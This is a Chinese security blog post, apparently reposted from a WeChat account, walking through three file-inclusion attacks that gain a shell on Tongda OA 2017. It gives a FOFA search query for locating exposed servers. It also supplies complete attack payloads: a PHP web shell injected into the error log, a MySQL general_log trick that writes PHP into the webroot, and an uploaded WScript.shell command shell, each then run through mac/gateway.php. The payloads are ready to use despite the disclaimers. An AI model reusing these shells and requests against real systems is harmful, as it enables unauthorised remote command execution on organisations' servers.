通达OA三种文件包含GETSHELL漏洞复现

  • A+
所属分类:安全文章


推文开头,先学习一下中华人民共和国网络安全法,大家要做一名合法的白帽子,不要做一些违法乱纪的事情。


https://www.cto.ac.cn/thread-106.htm

通达OA三种文件包含GETSHELL漏洞复现
通达OA三种文件包含GETSHELL漏洞复现
通达OA三种文件包含GETSHELL漏洞复现


本推文仅用于信息防御技术教学,切勿用于其他用途,有侵权或者存在危害性,请联系我进行删除。


今天是平安夜


不会吧,不会吧


这么晚还有人搞安全?


通达OA三种文件包含GETSHELL漏洞复现


不会吧,不会吧


还没有人收到plmm的苹果?


通达OA三种文件包含GETSHELL漏洞复现


...

今天复现通达OA的文件包含GETSHELL


通达OA版本是2017版


fofa的搜索语法为

app="TDXK-通达OA"


第一种:错误日志写入,文件包含GETSHELL


先写入错误日志


http://x.x.x.x/<?php $command=$_POST['cmd'];$wsh = new COM('Wscript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>


通达OA三种文件包含GETSHELL漏洞复现


尝试文件包含

http://x.x.x.x/mac/gateway.php
postjson={"url":"/general/../../nginx/logs/oa.error.log"}&cmd=whoami


然后执行成功


通达OA三种文件包含GETSHELL漏洞复现



第二种:数据库文件导入,文件包含GETSHELL


此漏洞,还需要利用任意用户登陆这个漏洞,来配套使用


先获取用户cookie

通达OA三种文件包含GETSHELL漏洞复现


脚本可以在github下载,这里我不提供了。


想知道完整获取cookie思路的,可以翻公众号的历史记录


导入数据库文件


POST /general/system/database/sql.php HTTP/1.1Host:x.x.x.xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)Accept-Encoding: gzip, deflateAccept: */*Connection: closeCookie: PHPSESSID=gquvpovtbgsnrnmf65b04qhu11Content-Length: 353Content-Type: multipart/form-data; boundary=ffa8a9db2f0c70a97fba10db088eca26
--ffa8a9db2f0c70a97fba10db088eca26Content-Disposition: form-data; name="sql_file"; filename="shell.sql"Content-Type: application/octet-stream
set global general_log='on';SET global general_log_file='D:/MYOA/webroot/test.php';SELECT '<?php echo(md5(1));unlink(__FILE__);?>';set global general_log='off';--ffa8a9db2f0c70a97fba10db088eca26--


通达OA三种文件包含GETSHELL漏洞复现


导入成功后,访问根目录下的test.php文件


http://x.x.x.x/test.php


通达OA三种文件包含GETSHELL漏洞复现




发现写入的php脚本代码已经被执行。



第三种:文件上传+文件包含GETSHELL


上传点依旧是上次那个点


http://x.x.x.x/ispirit/im/upload.php


数据包

POST /ispirit/im/upload.php HTTP/1.1Host: x.x.x.xContent-Length: 656Cache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGBAccept: */*Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5Cookie: PHPSESSID=123Connection: close
------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="UPLOAD_MODE"
2------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="P"
123------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="DEST_UID"
1------WebKitFormBoundarypyfBh1YB4pV8McGBContent-Disposition: form-data; name="ATTACHMENT"; filename="txt"Content-Type: image/jpeg
<?php$command=$_POST['cmd'];$wsh = new COM('WScript.shell');$exec = $wsh->exec("cmd /c ".$command);$stdout = $exec->StdOut();$stroutput = $stdout->ReadAll();echo $stroutput;?>------WebKitFormBoundarypyfBh1YB4pV8McGB--


通达OA三种文件包含GETSHELL漏洞复现


上传成功后,尝试文件包含


http://x.x.x.x/mac/gateway.php
postjson={"url":"/general/../../attach/im/2012/1472376370.txt"}&cmd=whoami



通达OA三种文件包含GETSHELL漏洞复现


此时发现,命令执行成功,文件包含成功


看过上次同一个点上传文件后拿shell的朋友,肯定有疑问


为什么不写一句话马,然后直接拼接路径,菜刀连接,最后拿shell


上次文件保存的路径是


D:MYOAwebrootim20121894672167.php


通达OA三种文件包含GETSHELL漏洞复现


而这次上传文件后,文件保存路径是


D:MYOAattachim20121472376370.txt


通达OA三种文件包含GETSHELL漏洞复现


简单的说,就是一个在网站根目录下,一个不在网站根目录下。


因此在拿通达OA这个版本下的shell时,要注意路径的差异。

【往期推荐】

未授权访问漏洞汇总

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

记一次HW实战笔记 | 艰难的提权爬坑

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

走过路过的大佬们留个关注再走呗通达OA三种文件包含GETSHELL漏洞复现

往期文章有彩蛋哦通达OA三种文件包含GETSHELL漏洞复现

通达OA三种文件包含GETSHELL漏洞复现

分享前辈知识,一起学习共同进步!!

如侵权请私聊公众号删文通达OA三种文件包含GETSHELL漏洞复现

本文始发于微信公众号(渗透Xiao白帽):通达OA三种文件包含GETSHELL漏洞复现

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: